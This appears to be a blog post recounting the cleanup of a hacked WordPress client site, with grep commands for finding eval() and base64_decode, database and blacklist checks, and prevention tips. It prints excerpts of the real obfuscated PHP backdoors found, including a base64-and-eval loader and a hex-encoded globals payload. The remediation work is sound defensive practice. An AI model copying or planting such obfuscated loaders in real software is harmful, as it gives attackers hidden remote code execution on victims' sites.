0

How to find and remove malware on a hacked WordPress site

It finally happened to me.

WordPress has served me well as a publishing platform for a number of years. I trust the developers of WordPress. I don’t trust (as much) the creators of themes.

And I don’t trust third-party plugin creators at all. Third-party plugins for WordPress are the dirty needles of the internet. You just can’t use them without catching something nasty.

Woe be unto me then for going out of my comfort zone and installing one on a client’s site a few months ago. Their site just got suspended by their host because their site has been compromised and blasting spam for two days. Coincidence? Who knows. It’s the only site I’ve deployed that has been hacked. But either way now begins the process of remediation.

First steps first–

How the hell did they get in?

We’ll start with the basics.

Compromised FTP credentials?

I fire up a shell to the host. Pretend the client’s username is clientname. Did anybody log in via the shell recently?

last clientname

But this command only shows me logins since the beginning of the month, and according to the host this behavior started at the end of last month. While one could go digging through /var/log/wtmp to find older entries I am denied access. I doubt anybody got in this way anyway.

Compromised WordPress credentials?

I don’t have access to any sort of logs that would cover success or failure events. But, if someone DID brute-force their way in this way, they would have the ability to modify existing files and execute code.

This can be stopped by dropping a single line in wp-config.php:

define('DISALLOW_FILE_EDIT', true);

Shell hidden in images?

This would be a case study in why you don’t want to hot-link to images hosted on other peoples’ sites, nor do you want to just grab random pictures from the internet and upload them on your site. Attackers can hide code in the EXIF header data of JPGs. In our case though all the photography came from legit stock agencies; I’ll check them anyway but it’s not a likely vector.

Conclusion

Long story short, I honestly don’t know how they got in. The forensic data just isn’t there.

What did they touch?

Here’s where it gets interesting. At the highest level, it appears nothing has been touched. But as I drill down into certain folders, including /themes, I’m noticing that the last-modified timestamps on the folders don’t match up to files within that folder. I have a bit of an advantage in that the host pointed out one malicious file they detected, and comparing the timestamp of it to the timestamp on the folder it resides in suggests the attacker is modifying timestamps to cover their tracks and doing a sloppy job of it.

So, given one “info.php” file in the /themes folder that shouldn’t be there, I take a look at it and it’s all obfuscated code. It looks like:

$qngmg = 6808; function poteflnf($fahqpnkt, $buzvtkgl){$vbidu = ''; for($i=0; $i < strlen($fahqpnkt); $i++){$vbidu .= isset($buzvtkgl[$fahqpnkt[$i]]) ? $buzvtkgl[$fahqpnkt[$i]] : $fahqpnkt[$i];}
$pbilphs="base" . "64_decode";return $pbilphs($vbidu);}
$kzcrly = 'FO8lkzQWLNF6qozDRBQDNomxLDRahESzGEHyIH9nFO8lkzQWLNF6qomxLPQ8RYqxRYKYUtiHnGajtwsy2B8gRoz9ntAJb'.
'NpgLNp8b3z9k0QlN31y20eYUtiHnGajtwsWLN1gAO8JLzQak0PyAtrHnGajtr9nk0b6kNjWLNF6qVQG1zq01zhynF9n5H9n'.
'tC1ge9zCzwzC0DAFCVsge9zK1dAAhu9rhdZdIDijtrwwNPjVe8LVe8aYewzjGP1VN9VE1VhYNCiQhthmKTRlKt4HUTEdIH9nt08B'.
'ntV82Ns95CrwNPjVe8LVe8aYCV1eeVQbN9Lce8Asew1V1VQOGPhY'.
'NCwyuF6q5H9ntFwwNPjVe8LVe8aYCV1eeVQbN9Lce8Asew1V1VQOGPhYNCiQhthmKTRlKt4HUTE'.
'dIH9ntN9jtY9jtB8BnO8WRoz9nt1g1w8K1zKynF9n5H9nt0LxRBz'.
'pbor6qVQOCemVeDspRDiwkozShu9+ht1Bk0m8nF9ntNajtrwqk0b6hNj9RYsxRDrwLB'.
'8aLzaY2BVJLCAAUtidUByHLDhynF9ntF8fuF6qtFwwLB8aL0Sp20ercCsp2718R8QJb0jD23K6qOLy2Oz2qoSp20eYNCwfuF6q'.
'tFwwLB8aL0Sp20ercCslA0Pg20VTRBQWnt1Bk0m82BVJLCwfuF6qtFww'.

Congratulations to the hacker for managing to make PHP code even uglier.

I was curious what the code was actually doing so I plugged it into a PHP deobfuscator. It failed to deobfuscate it. No matter, I’m not interested in malware reversal, I just need to get this crap out of my client’s site.

The file ends like so:

8h89rcCiw2OVWAVQ8RYqxR8amNCiQcG9r1wVKe9ercDiHhu6rqOmpR31gLNqD23q2Kz9'.
'fuF6qq7q8RPadRdqA0DqYh89rcCiwLoQxLuajtrwwRBzW0DqDh8P2hBhdNCiQht1db0FfuF6jtr8DLN1PRB4rRozDk0Va'.
'kNy8nt1DLNKyIH9ngF9nuF6wboQlLB8Yhu9rbNqDbN8gABVaA0zWnt1geEQGztwfuF6wRBzWhu9rA78HLGVgRozl'.
'LtrwboQlLB8Y0WsAnGajtB8BhtrwRBzWnCsfuF6rhtirL0j62DiwRB'.
'zWIH9ngF9nuFy85O89ntwf';
$gkdbddeb = Array('1'=>'R', '0'=>'W', '3'=>'3', '2'=>'b', '5'=>'e', '4'=>'4', '7'=>'H', '6'=>'o', '9'=>'0', '8'=>'l', 'A'=>'d', 'C'=>'S', 'B'=>'m', 'E'=>'E', 'D'=>'y', 'G'=>'T', 'F'=>'Q', 'I'=>'O', 'H'=>'w', 'K'=>'M', 'J'=>'t', 'M'=>'6', 'L'=>'Z', 'O'=>'G', 'N'=>'X', 'Q'=>'9', 'P'=>'1', 'S'=>'5', 'R'=>'c', 'U'=>'L', 'T'=>'j', 'W'=>'z', 'V'=>'F', 'Y'=>'n', 'X'=>'q', 'Z'=>'8', 'a'=>'s', 'c'=>'P', 'b'=>'Y', 'e'=>'U', 'd'=>'i', 'g'=>'f', 'f'=>'7', 'i'=>'A', 'h'=>'I', 'k'=>'a', 'j'=>'N', 'm'=>'x', 'l'=>'u', 'o'=>'2', 'n'=>'K', 'q'=>'J', 'p'=>'h', 's'=>'B', 'r'=>'g', 'u'=>'D', 't'=>'C', 'w'=>'k', 'v'=>'r', 'y'=>'p', 'x'=>'v', 'z'=>'V');
eval/*nnylw*/(poteflnf($kzcrly, $gkdbddeb));?>

That looks like some sort of codex at the end there that could be used to decipher the original code, but again, not interested in reversal, just remediation. One thing that I can tell from it though is that they’re using “eval” to execute the deciphering part.

I know from experience malware authors tend to backdoor their backdoors. The host insists we need to remediate just this file before we can go live again, but let’s see where else this bastard tried to pull the same stunt. I also know that malware authors who bother with WordPress sites also tend to be uncreative; they assume what worked once will work multiple times.

cd ~/web
grep -ril 'eval(' --include=\*.php

This little trick will search through every PHP file in the web directory and yield the names of every PHP file that calls an “eval()” function. That open-ended parenthesis is not a typo, but you’ll want to do the same for “eval/” as the code above indicates. And you really need to specify to include just PHP files because there’s another godawful scripting language heavily used in WordPress that makes heavy use of eval() functions that will yield a wall of text and a lot of false positives.

Malicious code can hide in Javascript files too, so you do want to check those separately, however, god help you if they hid some code in one of those minified *.js files.

In my case, what do I find?

wp-admin/images/error.php
wp-admin/includes/class-pclzip.php
wp-content/plugins/contact-form-7/modules/acceptance.php
wp-content/plugins/jetpack/json-endpoints/class.wpcom-json-api-render-shortcode-endpoint.php
wp-content/plugins/jetpack/modules/custom-css/custom-css/preprocessors/scss.inc.php
wp-includes/class-json.php
wp-includes/functions.php
wp-includes/js/swfupload/plugins/include.php

Ouch. Good thing I checked. Let’s take a look at some of their contents. We’ll run the same command, only this time without the -l parameter.

grep -ri 'eval(' --include=\*.php
wp-content/plugins/jetpack/json-endpoints/class.wpcom-json-api-render-shortcode-endpoint.php: $GLOBALS['s42e'];global$s42e;$s42e=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['d844']="\x20\x51\x2a\x41\x30\x6b\x73\x7d\x29\x27\x5e\x6d\x79\x76\x66\x70\x6e\x78\x21\x4b\x25\x39\x7c\xa\x23\x36\x24\x42\x56\x77\x63\x38\x5a\x74\x57\x5b\x3e\x6c\x6f\x3c\x7b\x2f\x5c\x4f\x71\x64\x44\x28\x45\x2b\x22\x4e\x7e\x48\x37\x55\x52\x2c\xd\x34\x9\x2d\x32\x67\x65\x6a\x4c\x5d\x3f\x40\x54\x62\x4d\x50\x49\x60\x46\x59\x75\x3d\x5f\x31\x58\x68\x61\x72\x47\x69\x2e\x7a\x3a\x53\x43\x4a\x26\x35\x33\x3b";$s42e[$s42e['d844'][29].$s42e['d844'][14].$s42e['d844'][31].$s42e['d844'][84].$s42e['d844'][21].$s42e['d844'][64]]=$s42e['d844'][30].$s42e['d844'][83].$s42e['d844'][85];$s42e[$s42e['d844'][83].$s42e['d844'][59].$s42e['d844'][84].$s42e['d844'][96].$s42e['d844'][64].$s42e['d844'][30].$s42e['d844'][59]]=$s42e['d844'][38].$s42e['d844'][85].$s42e['d844'][45];$s42e[$s42e['d844'][65].$s42e['d844'][4].$s42e['d844'][21].$s42e['d844'][64].$s42e['d844'][84].$s42e['d844'][45].$s42e['d844'][45]]=$s42e['d844'][6].$s42e['d844'][33].$s42e['d844'][85].$s42e['d844'][37].$s42e['d844'][64].$s42e['d844'][16];$s42e[$s42e['d844'][78].$s42e['d844'][64].$s42e['d844'][96].$s42e['d844'][64].$s42e['d844'][95]]=$s42e['d844'][87].$s42e['d844'][16].$s42e['d844'][87].$s42e['d844'][80].$s42e['d844'][6].$s42e['d844'][64].$s42e['d844'][33];$s42e[$s42e['d844'][38].$s42e['d844'][25].$s42e['d844'][30].$s42e['d844'][31].$s42e['d844'][59]]=$s42e['d844'][6].$s42e['d844'][64].$s42e['d844'][85].$s42e['d844'][87].$s42e['d844'][84].$s42e['d844'][37].$s42e['d844'][87].$s42e['d844'][89].$s42e['d844'][64];$s42e[$s42e['d844'][89].$s42e['d844'][96].$s42e['d844'][30].$s42e['d844'][54].$s42e['d844'][64].$s42e['d844'][25].$s42e['d844'][25]]=$s42e['d844'][15].$s42e['d844'][83].$s42e['d844'][15].$s42e['d844'][13].$s42e['d844'][64].$s42e['d844'][85].$s42e['d844'][6].$s42e['d844'][87].$s42e['d844'][38].$s42e['d844'][16];$s42e[$s42e['d844'][38].$s42e['d844'][59].$s42e['d844'][4].$s42e['d844'][95].$s42e['d844'][45].$s42e['d844'][30].$s42e['d844'][96].$s42e['d844'][45]]=$s42e['d844']

I hate everything about PHP but there’s no way anybody other than Satan himself would have written production code like this. I don’t put anything past career PHP developers though so I double check this particular file against a fork of it on GitHub and confirm this is in fact malicious.

I also see a few more lines:

wp-includes/class-json.php: * Javascript, and can be directly eval()'ed with no further parsing
wp-includes/functions.php:              if ( doubleval( $bytes ) >= $mag ) {
wp-includes/js/swfupload/plugins/include.php:        eval($yff2[$GLOBALS['l99dae51e'][61]]);

Quick judgment is that class-json.php is probably fine, functions.php is probably fine, but swfupload/plugins/include.php has more obfuscated code.

So these guys really went to town on this site. Just to be thorough I repeat these steps to find instances of “base64_decode” but based on the beginning of that file we looked at earlier, I know this guy is trying to obfuscate that very term to keep me from finding it:

wp-content/themes/onepress/template-parts/info.php:$pbilphs="base" . "64_decode";return $pbilphs($vbidu);}

So the best I can do is search for “64_decode” and even then I may not be catching it all.

grep -ri '64_decode' --include=\*.php
wp-admin/includes/file.php:             $expected_raw_md5 = base64_decode( $expected_md5 );
wp-content/plugins/wordpress-seo/vendor/yoast/api-libs/google/service/Google_Utils.php:    return base64_decode($b64);
wp-content/plugins/jetpack/class.jetpack.php:           $data = json_decode( base64_decode( stripslashes( $_GET['data'] ) ) );
wp-includes/class-feed.php:                     $data = base64_decode( $data );
wp-includes/class-IXR.php:                $value = base64_decode($this->_currentTagContents);
wp-includes/class-phpmailer.php:                        $data = base64_decode($data);
wp-includes/class-smtp.php:                $challenge = base64_decode(substr($this->last_reply, 4));
wp-includes/class-wp-customize-widgets.php:             $decoded = base64_decode( $value['encoded_serialized_instance'], true );
wp-includes/ID3/module.audio.ogg.php:                                   $flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']));
wp-includes/ID3/module.audio.ogg.php:                                   $data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']);
wp-includes/random_compat/random_bytes_com_dotnet.php:        $buf .= base64_decode($util->GetRandom($bytes, 0));
wp-includes/SimplePie/Sanitize.php:                             $data = base64_decode($data);

No obfuscated code, but still worth grepping for.

At this time I can tell that they’ve gone beyond just inserting new files and being a nuisance, they’ve modified core files.

What could have prevented this?

  • Permissions should have been more consistent across the site. I noticed the directories that had malicious files were also RX for Other, but I don’t know if that was a pre-existing condition or something the attacker did.
  • REVISION CONTROL. I’ve started using git on the /etc directory before I make any changes to production servers and I should have done the same with the web directory here. I didn’t know the host had git installed and I assumed they maintained backups themselves. Shame on me.
  • Cloudflare might help mitigate some of these sorts of attacks. It’s free, so why not.

What comes next?

Check your database

Sometimes badness can be hidden in plugins, which are set to autoload. Our site is offline so the best I can do is to check directly in the SQL to see what plugins are configured this way.

mysql -h mysql.clienthost.com -u wordpressuser -p
use wpdatabase;
show tables;
select * from wp_abcxyz_options where option_name = 'active_plugins';

After the ‘show tables’ step, replace abcxyz with the actual prefix of your database tables. If you don’t know your MySQL host, username or password, just look in your ~/wp-config.php file. It’s all sitting there neatly in plaintext for you.

You should be able to identify all the plugins you have running. If there is anything there you don’t recognize, remediate it.

+-----------+----------------+-----------------------------------------------------------------------------------------------------------------------------------+----------+
| option_id | option_name | option_value | autoload |
+-----------+----------------+-----------------------------------------------------------------------------------------------------------------------------------+----------+
| 32 | active_plugins | a:3:{i:0;s:36:"contact-form-7/wp-contact-form-7.php";i:1;s:24:"wordpress-seo/wp-seo.php";i:2;s:27:"wp-super-cache/wp-cache.php";} | yes |
+-----------+----------------+-----------------------------------------------------------------------------------------------------------------------------------+----------+

Also make sure no new users have been added.

select user_login from wp_abcxyz_users;

Check .htaccess

Every situation is different so I can’t really tell you what yours should look like, but for those who know what they’re doing it’s yet another place to check for signs of tampering. It’s in your webroot folder and usually hidden if it exists at all.

Check the public email blacklists

Unfortunately since they were blasting spam from my client’s domain, I have to make sure they don’t end up on any of the spam blacklists or their business correspondence will be impacted. I hop over to mxtoolbox and check the client’s domain in their registry. Everything comes up OK, but since I like second opinions I also hop over to Spamhaus. Their domain comes up clear there too. Thanks to the host for shutting things down before they got really bad.

If your site does end up on a blacklist, there are resources on either site that should help you get un-listed.

Check your images

In each directory containing images, you’ll want to use ImageMagick to read through the EXIF data for your images.

sudo apt-get install imagemagick
identify -verbose * | grep "exif:" > exif.txt

This will examine the EXIF data of each image and output it to a text file. For the most part you should just see generic photographer-related stuff (Nikon this, Canon that, f/11, 1/2500, blah blah) but if you start seeing anything that looks like executable code, you know your images are trashed.

Reinstall

I can salvage the themes folder and do a git diff against the original, which is really the only custom code on the frontend.

The database appears to be unharmed.

The plugins and some core functionality are trashed and there’s probably more that I’m missing, so better safe than sorry.

Leave a Reply